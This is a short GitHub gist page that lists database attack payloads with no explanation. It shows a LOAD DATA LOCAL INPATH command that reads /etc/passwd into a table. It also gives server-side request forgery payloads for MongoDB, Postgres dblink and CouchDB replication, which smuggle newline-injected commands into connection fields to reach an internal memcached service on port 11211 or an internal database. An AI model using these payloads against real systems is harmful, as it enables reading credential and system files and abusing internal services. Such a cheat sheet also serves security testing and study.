Skip to content

Instantly share code, notes, and snippets.

@nani1337
Last active December 26, 2017 09:39
Show Gist options
  • Save nani1337/f979d1770a26530c0ba55bf5ecafc0a0 to your computer and use it in GitHub Desktop.
Save nani1337/f979d1770a26530c0ba55bf5ecafc0a0 to your computer and use it in GitHub Desktop.
LOAD DATA LOCAL INPATH "/etc/passwd" INTO TABLE DEMO;
SELECT * FROM DEMO;
• Mongodb SSRF
>db.copyDatabase("\nstats\nquit",'test','localhost:11211')
• Postgres SSRF
>SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\' password=1 port=11211
sslmode=disable','select version();');
• CouchDB SSRF
POST http://couchdb:5984/_replicate
ContentType: application/json
Accept: application/json
{
"source" : "recipes",
"target" : "http://secretdb:11211/recipes",
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment